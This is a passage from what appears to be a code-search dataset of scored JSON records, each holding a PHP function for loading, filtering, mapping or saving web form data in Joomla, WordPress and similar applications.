function _pre_post( $form_data )\n {\n $koor_fn = $this->alias.'_komoditi';\n if ( isset( $_POST[$koor_fn.'_kki'] ) )\n {\n $i = 0;\n // $koor_fn = $this->alias.'_komoditi';\n foreach ($_POST[$koor_fn.'_kki'] as $no)\n {\n foreach (array('kki', 'kbli', 'prod', 'sat') as $name)\n {\n $koor_name = $koor_fn.'_'.$name;\n $koordinat[$i][$name] = isset($_POST[$koor_name][$i]) ? $_POST[$koor_name][$i] : 0;\n unset($_POST[$koor_name][$i]);\n }\n\n $i++;\n }\n\n $form_data[$koor_fn] = $koordinat;\n }\n\n return $form_data;\n }", "title": "" }, { "docid": "064afee06cad5e174435e8e59155f6c6", "score": "0.5946856", "text": "public function save_form_data(\\stdClass $data) {\n $data->data = json_encode(['display' => $data->display]);\n parent::save_form_data($data);\n }", "title": "" }, { "docid": "80f6db472335f0f143f7632d9454a3c3", "score": "0.5940806", "text": "public function addFormData(array $data, $locatorPrefix = '') {\n\t\tforeach ($data as $field => $value) {\n\t\t\tif (substr($value, 0, 6) == 'label=') {\n\t\t\t\t$this->select($locatorPrefix . $field, $value);\n\t\t\t} else {\n\t\t\t\t$this->type($locatorPrefix . $field, $value);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "a793bd75706b6f53cfb1eaccdab161d7", "score": "0.5939013", "text": "private function _getData($data){\n\t\t\tif( is_string($data) ) return $data;\n\n\t\t\tif( !is_array($data) ) return null;\n\n\t\t\tif( array_key_exists('name', $data) ){\n\t\t\t\treturn $data;\n\t\t\t}\n\n\t\t\treturn array(\n\t\t\t\t'name' => $data[0],\n\t\t\t\t'type' => $data[1],\n\t\t\t\t'tmp_name' => $data[2],\n\t\t\t\t'error' => $data[3],\n\t\t\t\t'size' => $data[4]\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "d784634146c188378e2bd1e9f1413006", "score": "0.5937596", "text": "protected function inputDataAttributes()\n {\n foreach ($this->params['data_attributes'] as $key => $value) {\n $this->input_attributes['data-' . $key] = $value;\n }\n }", "title": "" }, { "docid": "7825837785c2931ed956220ec8b3a15b", "score": "0.59366906", "text": "abstract public function getFieldsData();", "title": "" }, { "docid": "cfbd50e281895f794a9755fe127360ee", "score": "0.5934536", "text": "protected function loadFormData()\n\t{\n\t\t$data = JFactory::getApplication()->getUserState('com_donorforce.edit.addgift.data', array());\n\n\t\tif (empty($data)) {\n\t\t\t$data = $this->getItem();\n\t\t}\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "42503be4a3bd4a9623ce7d8b47475114", "score": "0.59339285", "text": "private function getFormData()\n {\n $data['report_categories'] = $this->emergencyRepository->getReportCategoriesList()->toArray();\n\n $data['ambulances'] = $this->emergencyRepository->getAmbulanceList()->toArray();\n\n $data['hospitals'] = [''=>'None'] + $this->contactRepository->getHospitalsList()->toArray();\n\n $data['drivers'] = ['not_found' => 'Select a first aider'] + $this->userRepository->getDriversList()->toArray();\n $data['seniors'] = ['not_found' => 'Select a first aider'] + $this->userRepository->getSeniorsList()->toArray();\n $data['allUsers'] = ['not_found' => 'Select a first aider'] + $this->userRepository->getAllList()->toArray();\n\n return $data;\n }", "title": "" }, { "docid": "77c6050b5698039c5fb5a9ea5e033284", "score": "0.59295225", "text": "function qw_exposed_submitted_data() {\n\t$data = array();\n\tif ( ! empty( $_GET ) ) {\n\t\t$data = $_GET;\n\t} else if ( ! empty( $_POST ) ) {\n\t\t$data = $_POST;\n\t}\n\tforeach ( $data as $k => $v ) {\n\t\tif ( is_null( $data[ $k ] ) ) {\n\t\t\tunset( $data[ $k ] );\n\t\t\tunset( $_GET[ $k ] );\n\t\t\tunset( $_POST[ $k ] );\n\t\t} else {\n\t\t\tif ( is_array( $v ) ) {\n\t\t\t\tarray_walk_recursive( $v, 'sanitize_text_field' );\n\t\t\t\t$data[ $k ] = $v;\n\t\t\t} else {\n\t\t\t\t$data[ $k ] = sanitize_text_field( urldecode( $v ) );\n\t\t\t}\n\t\t}\n\t}\n\n\tif ( count( $data ) > 0 ) {\n\t\treturn $data;\n\t}\n\n\treturn FALSE;\n}", "title": "" }, { "docid": "71a15cb8db6280d4df51363417bdbaa4", "score": "0.59260905", "text": "public function setForm($data) {\n $result = $this->db->insert(DB_PREFIX.'checklist.checklist', $data);\n return $result;\n }", "title": "" }, { "docid": "5624ff2b098b8670d1e9b586b9ec831f", "score": "0.5921947", "text": "protected function loadFormData()\n\t{\n\t\t// Check the session for previously entered form data.\n\t\t$data = JFactory::getApplication()->getUserState(\n\t\t\t'com_subs.edit.financeentry.data',\n\t\t\tarray()\n\t\t);\n \n\t\tif (empty($data))\n\t\t{\n\t\t\t$data = $this->getItem();\n\t\t}\n \n\t\t$jinput = JFactory::getApplication ()->input;\n\t\t$memid = $jinput->get ( 'memid', 0 );\n\t\t\n\t\t//JFactory::getApplication()->enqueueMessage('in LoadFormData MemID = '.$memid.\":\");\n\t\t\n\t\tif ($memid > 0) {\n \t\trequire_once JPATH_COMPONENT . '/helpers/subs.php';\n \t\t$subsyear = SubsHelper::returnSubsYear();\n \t\t//JFactory::getApplication()->enqueueMessage('in LoadFormData Subs year = '.$subsyear.\":\");\n \t\t\n \t\t$data->MemberID = $memid;\n \t\t$data->CreditDebit = \"C\";\n \t\t$data->FinanceYear = (int)$subsyear; // TODO work out why default not working.\n \t\t$data->FinanceType = \"s\";\n \t\t$data->MemberType = \"m\";\n \t\t$data->Description = $subsyear . \" Subscriptions payment.\";\n\t\t}\n\t\t$session = JFactory::getSession();\n\t\t$session->set( 'memid', $memid );\n\t\t\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "3b029bf185376f073d21f3c3bd9123f7", "score": "0.59214807", "text": "public function getData($name = null){\n if($name) {\n return $this->inputs[$name]->value;\n }\n else{\n $result = array();\n foreach($this->inputs as $name => $field){\n $result[$name] = $field->value;\n }\n\n return $result;\n }\n }", "title": "" }, { "docid": "b0459063cf39b191b1d3b6d15948383a", "score": "0.59091187", "text": "protected function loadFormData()\n{\n\t$data = JFactory::getApplication()->getUserState('com_donorforce.default.donation.data', array());\n\tif (empty($data)) {\n\t\t//$data = $this->getItem();\n\t}\n\treturn $data;\n}", "title": "" }, { "docid": "219b0bd12e0f2e0811b97973ee9b9b2a", "score": "0.59064096", "text": "private function changePost()\n { \n $temp = $_POST['formdata'];\n $cnt = 1;\n foreach ($temp as $item) {\n if (strpos($item['name'], 'class[') === false) {\n $formdata[$item['name']] = $item['value'];\n } else {\n if (strpos($item['name'], '[name]') !== false) {\n $formdata['class'][$cnt]['name'] = $item['value'];\n } else {\n $formdata['class'][$cnt]['title'] = $item['value'];\n $cnt++;\n }\n }\n \n }\n $_POST = $formdata;\n return;\n }", "title": "" }, { "docid": "77bc6d1b57334f0df06d8e0ebaafa56d", "score": "0.58969724", "text": "private function parseSpecialFields()\n {\n Form::macro('parse', function ($inputData) {\n $fields = ['placeholder', 'percent', 'modal', 'label_col'];\n $data = [];\n foreach ($fields as $field) {\n if (array_key_exists($field, $inputData)) {\n $data[$field] = $inputData[$field];\n } else {\n $data[$field] = '';\n }\n }\n\n return $data;\n });\n }", "title": "" }, { "docid": "0fd3eb623159b8b98b5f58a70b8afc92", "score": "0.58893406", "text": "private function _set_fields()\n {\n\t$this->form_data = new StdClass;\n\t$this->form_data->exam_id = 0;\n $this->form_data->ue_start_date = date('d/m/Y');\n $this->form_data->ue_start_time = '12:00 AM';\n $this->form_data->ue_end_date = date('d/m/Y', strtotime('1 month', time()));\n $this->form_data->ue_end_time = '12:00 AM';\n\n $this->form_data->filter_login = '';\n $this->form_data->filter_team = 0;\n $this->form_data->filter_status = '';\n }", "title": "" }, { "docid": "4752c1c23396f359c90f5885e9b84685", "score": "0.58796895", "text": "public function prepareFormDataForDaoInsert($dataArray = array(), $formName = \"Video_Form_New\")\n\t{\n\t\treturn $dataArray;\n\t}", "title": "" }, { "docid": "a9140dbfe7fd511c9c557feac6afc836", "score": "0.58781636", "text": "private function _set_fields()\n\t{\n\t\t$this->form_data = new StdClass;\n $this->form_data->exam_id = 0;\n $this->form_data->user_team_id = 0;\n\t}", "title": "" }, { "docid": "6c0d87cf3c8eb350c7b449aeff01cec8", "score": "0.5875185", "text": "protected function print_field( $key, $data ) {\n\n\t\t/* Switch to construct HTML for the field itself. */\n\t\t$field = '';\n\t\tswitch ( $this->fields[ $key ]['type'] ) {\n\t\t\tcase 'select':\n\t\t\t\t$options = [ ];\n\t\t\t\tforeach ( $this->fields[ $key ]['values'] as $value => $name ) {\n\t\t\t\t\t$option = '<option value=\"' . esc_attr( $value ) . '\"';\n\t\t\t\t\tif ( $data['value'] === esc_attr( $value ) ) {\n\t\t\t\t\t\t$option .= ' selected=\"selected\"';\n\t\t\t\t\t}\n\t\t\t\t\t$option .= '>' . esc_attr( $name ) . '</option>';\n\t\t\t\t\t$options[] = $option;\n\t\t\t\t}\n\t\t\t\t$options = implode( \"\\n\", $options );\n\t\t\t\t$field = <<<HTML\n<select id=\"{$data['field_id']}\" name=\"{$data['field_name']}\">\n <option value=\"\">-- Select --</option>\n {$options}\n</select>\nHTML;\n\t\t\t\tbreak;\n\t\t\tcase 'text':\n\t\t\tcase 'url':\n\t\t\t\t$field = <<<HTML\n<input id=\"{$data['field_id']}\" name=\"{$data['field_name']}\" type=\"text\" value=\"{$data['value']}\" />\nHTML;\n\t\t\t\tbreak;\n\t\t\tcase 'textarea':\n\t\t\t\t$field = <<<HTML\n<textarea id=\"{$data['field_id']}\" name=\"{$data['field_name']}\">{$data['value']}</textarea>\nHTML;\n\t\t\t\tbreak;\n\t\t\tcase 'checkbox':\n\t\t\t\tif ( ! empty( $this->fields[ $key ]['values'] ) && is_array( $this->fields[ $key ]['values'] ) ) {\n\t\t\t\t\t$values = unserialize( base64_decode( $data['value'] ) );\n\t\t\t\t\tforeach ( $this->fields[ $key ]['values'] as $value => $name ) {\n\t\t\t\t\t\t$checked = ( ! empty( $values ) && in_array( $value, $values ) ) ? 'checked=\"checked\"' : '';\n\t\t\t\t\t\t$field .= <<<HTML\n</label><br/><label><input id=\"{$data['field_id']}\" value=\"{$value}\" name=\"{$data['field_name']}[]\" type=\"checkbox\" {$checked} /> {$name}\nHTML;\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t$checked = ( ! empty( $data['value'] ) ) ? 'checked=\"checked\"' : '';\n\t\t\t\t\t$name = substr( $data['title'], 0, - 1 );\n\t\t\t\t\t$data['title'] = <<<HTML\n<input id=\"{$data['field_id']}\" name=\"{$data['field_name']}\" type=\"checkbox\" {$checked} /> {$name}\nHTML;\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\t\t\tcase 'file':\n\t\t\t\t$field = <<<HTML\n<input id=\"{$data['field_id']}\" name=\"{$data['field_name']}\" type=\"hidden\" value=\"{$data['value']}\" />\nHTML;\n\t\t\t\tif ( ! empty( $data['value'] ) ) {\n\t\t\t\t\t$media = wp_get_attachment_image( $data['value'] );\n\t\t\t\t\t$field .= <<<HTML\n{$media}<br />\n<a href=\"#\" class=\"fingerpaint-widget-remove-media\">Remove media</a>\nHTML;\n\t\t\t\t} else {\n\t\t\t\t\t$field .= <<<HTML\n<input class=\"button fingerpaint-widget-add-media\" type=\"button\" value=\"Add Media\" />\nHTML;\n\t\t\t\t}\n\t\t}\n\n\t\t/* Print the field. */\n\t\techo <<<HTML\n<p>\n <label for=\"{$data['field_id']}\">{$data['title']}</label><br/>\n {$field}\n</p>\nHTML;\n\t}", "title": "" }, { "docid": "1bf9da23f2902467ce123b7c718000a7", "score": "0.58744925", "text": "function process_eportfolio_fields_data() {\r\n global $uid;\r\n \r\n $updated = false;\r\n \r\n foreach ($_POST as $key => $value) {\r\n if (substr($key, 0, 4) == 'epf_') { //e-portfolio fields input names start with epf_\r\n $field_name = substr($key, 4);\r\n $result = Database::get()->querySingle(\"SELECT id, required, datatype FROM eportfolio_fields WHERE shortname = ?s\", $field_name);\r\n $field_id = $result->id;\r\n $required = $result->required;\r\n //delete old values if exist\r\n if ($required == 1 && empty($value)) {\r\n continue;\r\n } else {\r\n Database::get()->query(\"DELETE FROM eportfolio_fields_data WHERE field_id = ?d AND user_id = ?d\", $field_id, $uid);\r\n }\r\n \r\n if (!empty($value)) {\r\n if ($result->datatype == EPF_TEXTAREA) {\r\n $value = purify($value);\r\n }\r\n Database::get()->query(\"INSERT INTO eportfolio_fields_data (user_id, field_id, data) VALUES (?d,?d,?s)\", $uid, $field_id, $value);\r\n }\r\n $updated = true;\r\n }\r\n }\r\n return $updated;\r\n}", "title": "" }, { "docid": "601a4af42e5322de4a53913981fc8842", "score": "0.5874361", "text": "public function loadSourceBasedData(array $data): array\n\t{\n\t\t$moduleModel = $this->getModuleModel();\n\t\t$source = $moduleModel->loadSourceBasedData($data);\n\t\tforeach ($source['fieldsForm'] as $fieldName => $value) {\n\t\t\t$this->set($fieldName, $value);\n\t\t\t$this->setRawValue($fieldName, $source['rawData'][$fieldName]);\n\t\t\t$moduleModel->getFieldModel($fieldName)->set('defaultvalue', $value);\n\t\t}\n\t\t$hiddenFields = [];\n\t\tforeach ($source['hiddenFields'] as $fieldName => $value) {\n\t\t\t$this->set($fieldName, $value);\n\t\t\t$hiddenFields[$fieldName] = $value;\n\t\t}\n\t\treturn $hiddenFields;\n\t}", "title": "" }, { "docid": "7ebde742763cfdfed3d9d01dedb87664", "score": "0.587424", "text": "protected function resetPostArray()\n {\n foreach ($this->fieldData as $row) {\n if ( isset($row['postdata']) AND ! is_null($row['postdata'])) {\n if (isset($row['isArray']) AND $row['isArray'] == false) {\n if (isset($_REQUEST[$row['field']])) {\n $_REQUEST[$row['field']] = $this->prepForForm($row['postdata']);\n }\n } else {\n $post_ref =& $_REQUEST; // start with a reference\n if (isset($row['keys'])) {\n if (count($row['keys']) == 1) { // before we assign values, make a reference to the right POST key\n $post_ref =& $post_ref[current($row['keys'])];\n } else {\n foreach ($row['keys'] as $val) {\n $post_ref =& $post_ref[$val];\n }\n }\n }\n if (is_array($row['postdata'])) {\n $array = array();\n foreach ($row['postdata'] as $k => $v) {\n $array[$k] = $this->prepForForm($v);\n }\n $post_ref = $array;\n } else {\n $post_ref = $this->prepForForm($row['postdata']);\n }\n }\n }\n }\n }", "title": "" }, { "docid": "e784f50d24a3c95447ea453fdde3d6f7", "score": "0.5867213", "text": "public function getData()\n {\n $data = ['id' => 2];\n $this->form->setData($data);\n $this->assertEquals($data, $this->form->getData());\n \n }", "title": "" }, { "docid": "35c7fe08d2379295d9fb53565ac995dd", "score": "0.5855568", "text": "protected function loadFormData()\n {\n // Check the session for previously entered form data.\n $data = JFactory::getApplication()->getUserState('com_keymanager.edit.request.data', array());\n\n if (empty($data)) {\n $data = $this->getItem();\n\n }\n\n return $data;\n }", "title": "" }, { "docid": "93524d74f352f68319775fed5997cd6a", "score": "0.5851869", "text": "function form_value( $var_name, $form_data ) {\n $value = isset( $form_data[$var_name] ) ? $form_data[$var_name] : '';\n return $value;\n}", "title": "" }, { "docid": "17695c36cf57b007182cb7cf73fe74ec", "score": "0.584784", "text": "function get_data_from_post()\n {\n $data['firstname'] = $this->input->post('firstname', TRUE);\n $data['lastname'] = $this->input->post('lastname', TRUE);\n $data['mobile'] = $this->input->post('mobile', TRUE);\n $data['email'] = $this->input->post('email', TRUE);\n $data['username'] = $this->input->post('username', TRUE);\n return $data;\n\n }", "title": "" }, { "docid": "cb96cc159f72ea04fc16060f6f592d31", "score": "0.5843628", "text": "public function field_data()\n {\n return array();\n }", "title": "" }, { "docid": "3904956dd07d24858ce5e4fe1f474341", "score": "0.58322686", "text": "function doPopulateData($pData_ = array(),$isForm_ = false){\n\t\tif(count($pData_)>0){\n\t\t\tforeach ($this->fieldMap as $key => $value) {\n\t\t\t\tif ($isForm_) {\n\t\t\t\t\t$this->Data[$value] = $pData_[$value];\n\t\t\t\t}else {\n\t\t\t\t\t$this->Data[$key] = $pData_[$value];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "aa1dc29d7c8fc38e6e9da5c0aa55e659", "score": "0.5830832", "text": "function check_data($formdata) {\n $sck = $this->_uniqueid.'_sck';\n $sdt = $this->_uniqueid.'_sdt';\n $eck = $this->_uniqueid.'_eck';\n $edt = $this->_uniqueid.'_edt';\n $never = $this->_uniqueid.'_never';\n\n if (!array_key_exists($sck, $formdata) and !array_key_exists($eck, $formdata)) {\n return false;\n }\n\n $data = array();\n if (array_key_exists($sck, $formdata) && !empty($formdata->$sck)) {\n $data['after'] = $formdata->$sdt;\n } else {\n $data['after'] = 0;\n }\n if (array_key_exists($eck, $formdata) && !empty($formdata->$eck)) {\n $data['before'] = $formdata->$edt;\n } else {\n $data['before'] = 0;\n }\n if (array_key_exists($never, $formdata) && !empty($formdata->$never)) {\n $data['never'] = $formdata->$never;\n } else {\n $data['never'] = 0;\n }\n\n return $data;\n }", "title": "" }, { "docid": "802f0d2b2e7148297d9c37ed7ed259d6", "score": "0.58222777", "text": "protected function loadFormData()\n {\n $app = JFactory::getApplication();\n $data = $app->getUserState('com_catalogue.edit.attrdir.data', array());\n\n if (empty($data)) {\n $data = $this->getItem();\n\n\n }\n\n return $data;\n }", "title": "" }, { "docid": "3c4fe188f99f1dff175f683de1eead2f", "score": "0.58206105", "text": "function doPopulateData($pData_ = array(),$isForm_ = false){\n\t\tif(count($pData_)>0){\n\t\t\tforeach ($this->fieldMap as $key => $value) {\n\t\t\t\tif ($isForm_) {\n\t\t\t\t\t$this->Data[$value] = $pData_[$value];\n\t\t\t\t} else {\n\t\t\t\t\t$this->Data[$key] = $pData_[$value];\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "c1716f3be03c5c0cd7fd1d1422d75e1c", "score": "0.58204126", "text": "private function mapFieldData(&$fields, $data=array())\n\t\t{\n\t\t\tif (!is_array($fields) || !is_array($data)) {\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\t$fieldMap = array(\n\t\t\t\t'FirstName' => 'firstname',\n\t\t\t\t'LastName' => 'lastname',\n\t\t\t\t'CompanyName' => 'company',\n\t\t\t\t'AddressLine1' => 'address1',\n\t\t\t\t'AddressLine2' => 'address2',\n\t\t\t\t'City' => 'city',\n\t\t\t\t'State' => 'state',\n\t\t\t\t'Country' => 'country',\n\t\t\t\t'Zip' => 'zip',\n\t\t\t\t'Phone' => 'phone'\n\t\t\t);\n\n\t\t\t$countryFieldId = '';\n\t\t\t$stateFieldId = '';\n\n\t\t\tforeach (array_keys($fields) as $fieldId) {\n\t\t\t\tif (!array_key_exists($fields[$fieldId]->record['formfieldprivateid'], $fieldMap)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$key = 'ship' . $fieldMap[$fields[$fieldId]->record['formfieldprivateid']];\n\n\t\t\t\tif (array_key_exists($key, $data)) {\n\t\t\t\t\t$fields[$fieldId]->setValue($data[$key]);\n\t\t\t\t}\n\n\t\t\t\tif ($key == 'shipcountry') {\n\t\t\t\t\t$countryFieldId = $fieldId;\n\t\t\t\t} else if ($key == 'shipstate') {\n\t\t\t\t\t$stateFieldId = $fieldId;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif ($countryFieldId) {\n\t\t\t\t$fields[$countryFieldId]->setOptions(array_values(GetCountryListAsIdValuePairs()));\n\t\t\t\tif ($fields[$countryFieldId]->getValue() == '') {\n\t\t\t\t\t$fields[$countryFieldId]->setValue(GetConfig('CompanyCountry'));\n\t\t\t\t}\n\n\t\t\t\tif (isId($stateFieldId)) {\n\t\t\t\t\t$fields[$countryFieldId]->addEventHandler('change', 'FormFieldEvent.SingleSelectPopulateStates', array('countryId' => $countryFieldId, 'stateId' => $stateFieldId));\n\n\t\t\t\t\t$countryId = GetCountryByName($fields[$countryFieldId]->getValue());\n\t\t\t\t\t$stateOptions = GetStateListAsIdValuePairs($countryId);\n\n\t\t\t\t\tif (is_array($stateOptions) && !empty($stateOptions)) {\n\t\t\t\t\t\t$fields[$stateFieldId]->setOptions($stateOptions);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn true;\n\t\t}", "title": "" }, { "docid": "3386ab82fe8e861c7cc756c1cab7f45b", "score": "0.5809796", "text": "private function _filter_post_data()\n\t{\n\t\t$form_data = $_POST;\n\t\t\n\t\t// Remove unwanted variables\t\n\t\t$unwanted = array('formojo_form_submitted', 'recaptcha_challenge_field', 'recaptcha_response_field', 'submit_button');\n\t\t\n\t\tforeach($unwanted as $field):\n\t\t\n\t\t\tif(isset($form_data[$field])):\n\t\t\t\n\t\t\t\tunset($form_data[$field]);\n\t\t\t\n\t\t\tendif;\n\t\t\n\t\tendforeach;\n\t\t\n\t\t// Add some fun new variables to use!\n\t\t$form_data['when_submitted']\t= date('Y-m-d H:i:s');\n\t\t$form_data['ip_address']\t\t= $this->addon->input->ip_address();\n\t\t\n\t\t$this->addon->load->library('user_agent');\n\t\t\n\t\t$form_data['browser']\t\t\t= $this->addon->agent->browser().' '.$this->addon->agent->version();\n\t\t$form_data['platform']\t\t\t= $this->addon->agent->platform();\n\t\t\n\t\t// Go through the inputs, see if there is a post for them.\n\t\t// If there is, check to see if it an array and format for array fun\n\t\t// If there is nothing, check to see if it is an yes/no, otherwise\n\t\t// just set to null\n\t\t\n\t\t$ghosters = array('');\n\t\t\n\t\tforeach($this->inputs as $input):\n\t\t\n\t\t\t// We do this so it works.\n\t\t\t$input['field'] = str_replace('[]', '', $input['field']);\n\t\t\n\t\t\t// We don't care 'bout reCAPTCHA\n\t\t\tif($input['type'] == 'recaptcha'):\n\t\t\t\n\t\t\t\tcontinue;\n\t\t\t\n\t\t\tendif;\n\t\t\t\n\t\t\tif(isset($form_data[$input['field']]) and is_array($form_data[$input['field']])):\n\t\t\t\n\t\t\t\t// Hold and give the array bits an array value of \"value\"\n\t\t\t\t$tmp = $form_data[$input['field']];\n\t\t\t\t\n\t\t\t\tunset($form_data[$input['field']]);\n\t\t\t\t\n\t\t\t\t$form_data[$input['field']] = array();\n\t\t\t\t\n\t\t\t\tforeach($tmp as $item):\n\t\t\t\t\n\t\t\t\t\t$form_data[$input['field']][]['value'] = $item;\n\t\t\t\t\n\t\t\t\tendforeach;\n\t\t\t\n\t\t\telseif(!isset($form_data[$input['field']])):\n\t\t\t\n\t\t\t\t//Yes/No?\n\t\t\t\tif($input['type'] == 'yesno_check'):\n\t\t\t\t\n\t\t\t\t\t$form_data[$input['field']] = 'No';\n\t\t\t\n\t\t\t\telse:\n\t\t\t\t\n\t\t\t\t\t$form_data[$input['field']] = 'No value';\n\t\t\t\t\n\t\t\t\tendif;\n\t\t\t\n\t\t\tendif;\n\t\t\n\t\tendforeach;\n\t\t\n\t\t// Return the form data\n\t\treturn $form_data;\n\t}", "title": "" }, { "docid": "c6f21f6548f8f66e3829f41a3a0024bb", "score": "0.58069366", "text": "private function submitdata() {\r\n if (method_exists($this, \"onSaveForm\")) {\r\n $html .= call_user_func(array($this,\"onSaveForm\"), $this->formfields->getFormValue());\r\n } else {\r\n //find main table fields and update or insert into database\r\n $othertable = array();\r\n foreach ($this->fields as $field) {\r\n if ($field->getDBField()!=\"\") {\r\n if ($field->getDBTable()==\"\") {\r\n $this->table->addparam($field->getDBField(), $field->getValue());\r\n } else {\r\n if (array_search($field->getDBTable(), $othertable)===false) {\r\n $othertable[]=$field->getDBTable();\r\n }\r\n }\r\n }\r\n }\r\n if (isset($this->id)) {\r\n //edit record\r\n $this->table->update($this->id);\r\n } else {\r\n //add record\r\n $this->id = $this->table->insert();\r\n }\r\n \r\n //check if fields have data belonging to another table\r\n foreach ($othertable as $table) {\r\n //find table object\r\n $tableobj = null;\r\n foreach ($this->tables as $obj) {\r\n if ($obj->getTable()==$table) {\r\n $tableobj = &$obj;\r\n }\r\n }\r\n \r\n //delete existing records in other table\r\n if ($tableobj->isReferenced()) {\r\n $tableobj->delete($tableobj->getRefColumn().\" = \".$this->id);\r\n }\r\n \r\n //convert array\r\n $otherfields = array();\r\n $countarraylength=0;\r\n //count elements array length get fields related to tables \r\n foreach ($this->fields as $field) {\r\n if ($field->getDBTable()==$table) {\r\n $otherfields[] = $field;\r\n if (count($field->getValue())>$countarraylength) {\r\n $countarraylength=count($field->getValue());\r\n }\r\n }\r\n }\r\n \r\n //save into table\r\n for ($i=0;$i<$countarraylength;$i++) {\r\n $tableobj->addparam($this->table->getPrimaryKey(), $this->id);\r\n foreach ($otherfields as $field) {\r\n $tableobj->addparam($field->getDBField(), $field->getValue()[$i]);\r\n }\r\n $tableobj->insert();\r\n }\r\n }\r\n }\r\n }", "title": "" }, { "docid": "233878cdf771ac701f897db2c4fbe191", "score": "0.58066785", "text": "public function inputSetting($data){\n\t\t$this->data['title'] = array(\n\t\t\t\t'name' => 'title',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'required' => 'required',\n\t\t\t\t'placeholder'=>'Judul',\n\t\t\t\t'value' => $data['title'],\n\t\t);\n\t\t$this->data['content'] = array(\n\t\t\t\t'name' => 'content',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'required'=>'required',\n\t\t\t\t'placeholder'=>'Isi',\n\t\t\t\t'value' => $data['content'],\n\t\t);\n\t\t$this->data['content'] = array(\n\t\t\t\t'name' => 'content',\n\t\t\t\t'id' => 'editor1',\n\t\t\t\t'type' => 'text',\n\t\t\t\t'rows' => '10',\n\t\t\t\t'cols' => '80',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'required' => 'required',\n\t\t\t\t'placeholder'=>'Deskripsikan Produk yang Anda Jual',\n\t\t\t\t'value' => $data['content']\n\t\t);\n\t\t$this->data['qid'] = array(\n\t\t\t\t'name' => 'qid',\n\t\t\t\t'type' => 'hidden',\n\t\t\t\t'class' => 'form-control',\n\t\t\t\t'placeholder'=>'Isi',\n\t\t\t\t'value' => $data['qid'],\n\t\t);\n\t\t$this->data['qid2'] = $data['qid'];\n\t\treturn $this->data;\n\t}", "title": "" }, { "docid": "a7e9d562c37e950f00014734144e3021", "score": "0.58052826", "text": "public function insertFromFormData(array $data)\n\t{\n\t\t$data = $this->_removeNoDatabaseField($data);\n\t\t$data = self::_changeEmptyToNull($data); \t\n \t\n\t\t$data['update_date'] = $data['create_date'] = new Zend_Db_Expr('NOW()') ;\n \t$data['update_user'] = $data['create_user'] = Common::getUserId(); \n\t\treturn $this->insert($data);\n\t\t\n\t}", "title": "" }, { "docid": "68460e22c657904c91fdef252dd64985", "score": "0.58040595", "text": "function processCategorywiseFields($data = array()) {\n if (Empty($data)) {\n return $data;\n }\n $processedData = array();\n foreach ($data as $dt) {\n if (in_array($dt['field_type'], array(3, 4, 5))) {\n if (empty($dt['values']))\n $dt['values'] = \"\";\n $dt['field_options'] = $this->getFieldOptions($dt);\n $dt['field_values'] = explode(\",\", strtolower($dt['values']));\n }\n $fieldIndex = CAT_EXTRA_FIELD_PREFIX . CAT_FIELD_SEPARATOR . $dt['field_type'] . CAT_FIELD_SEPARATOR . $dt['id'] . CAT_FIELD_SEPARATOR . $dt['field_name'];\n $processedData[$fieldIndex] = $dt;\n }\n return $processedData;\n }", "title": "" }, { "docid": "6154fa848b9de22fa2193b7c770d9574", "score": "0.58035564", "text": "private function _getFormFieldsFromPost()\n {\n $arrFields = array();\n $orderId = 0;\n $types = array(\n 'text',\n 'label',\n 'file',\n 'multi_file',\n 'textarea',\n 'hidden',\n 'radio',\n 'checkboxGroup',\n 'password',\n 'select',\n 'special'\n );\n\n // shorten the variables\n $fieldNames = isset($_POST['contactFormFieldName']) ? $_POST['contactFormFieldName'] : array();\n $fieldValues = isset($_POST['contactFormFieldValue']) ? $_POST['contactFormFieldValue'] : array();\n $fieldTypes = isset($_POST['contactFormFieldType']) ? $_POST['contactFormFieldType'] : array();\n $fieldRequireds = isset($_POST['contactFormFieldRequired']) ? $_POST['contactFormFieldRequired'] : array();\n $fieldCheckTypes = isset($_POST['contactFormFieldCheckType']) ? $_POST['contactFormFieldCheckType'] : array();\n $fieldEditType = isset($_POST['contactFormFieldEditType']) ? $_POST['contactFormFieldEditType'] : array();\n\n foreach ($fieldTypes as $id => $fieldType) {\n $id = intval($id);\n $special_type = '';\n\n if (isset($this->_arrFormFieldTypes[$fieldType])) {\n $type = $fieldType;\n } elseif (isset($this->_arrUserAccountData[$fieldType])) {\n $type = 'special';\n $special_type = $fieldType;\n } else {\n $type = key($this->_arrFormFieldTypes);\n }\n\n $is_required = !empty($fieldRequireds[$id]);\n $checkType = !empty($fieldCheckTypes[$id]) ? intval($fieldCheckTypes[$id]) : 0;\n $editType = $fieldEditType[$id];\n\n $arrFields[$id] = array(\n 'id' => $id, // in case we're editing this should be the real id\n 'type' => $type,\n 'special_type' => $special_type,\n 'order_id' => $orderId,\n 'is_required' => $is_required,\n 'check_type' => $checkType,\n 'editType' => $editType\n );\n $orderId++;\n\n $arrActiveSystemFrontendLanguageIds = array_keys(\\FWLanguage::getActiveFrontendLanguages());\n foreach ($arrActiveSystemFrontendLanguageIds as $langId) {\n if (!empty($_POST['contactFormLanguages'][$langId])) {\n switch ($fieldType) {\n case 'checkbox':\n case 'country':\n case 'access_country':\n $fieldValue = $fieldValues[$id];\n break;\n\n //case 'label':\n case 'date':\n case 'datetime':\n case 'file':\n case 'multi_file':\n case 'fieldset':\n case 'horizontalLine':\n case 'password':\n case 'textarea':\n case 'recipient':\n $fieldValue = '';\n break;\n\n default:\n $fieldValue = !empty($fieldValues[$id][$langId]) ? contrexx_input2raw($fieldValues[$id][$langId]) : '';\n break;\n }\n\n 